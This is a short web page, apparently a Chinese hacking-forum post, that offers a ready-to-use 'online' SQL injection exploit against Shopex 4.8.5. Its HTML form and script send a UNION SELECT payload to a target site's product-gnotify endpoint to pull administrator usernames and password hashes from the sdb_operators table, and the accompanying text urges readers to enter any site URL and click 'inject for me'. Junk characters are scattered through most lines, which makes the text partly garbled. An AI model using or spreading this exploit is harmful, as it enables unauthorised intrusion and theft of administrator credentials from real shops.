Shopex 4.8.5 SQL Injection Exp 0day

admin

<center>
) m' B2 {8 W2 _3 E/ L<title>中国网络渗透测评联盟-中测联盟|-Shopex 4.8.5 SQL Injection Exp 在线版</title>
1 A, v% L2 D, S/ U4 n9 ^<form action="" method="post" name="submit_url">
( N3 ^& C. z% G/ u* N网址:<input type=text name=url value="http://www.political-security.com/" size=62><br><br>
<input type="hidden" name="goods[goods_id]" value="3">
9 u! p+ I! C1 @6 D% j0 }+ e<input type="hidden" name="goods[product_id]" value="1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators">
5 a# N: U( i$ g4 D2 ]+ @! J/ A1 O<input type="submit" value="给我注入"  onclick=fsubmit()>
</form> <br /><br />填上你要注入的网址（注意要打上http:// 要不跳转不了） 点“给我注入”就要以了。//www.political-security.com

<script>
/ e$ k2 `/ L: R- Z+ ffunction fsubmit(){
, o! U1 O- Z! Q2 m, e% eform = document.forms[0];
+ J  ]# c0 z6 ^7 v( N' M. gform.action = form.url.value+'/?product-gnotify';
form.submit();
}
</script>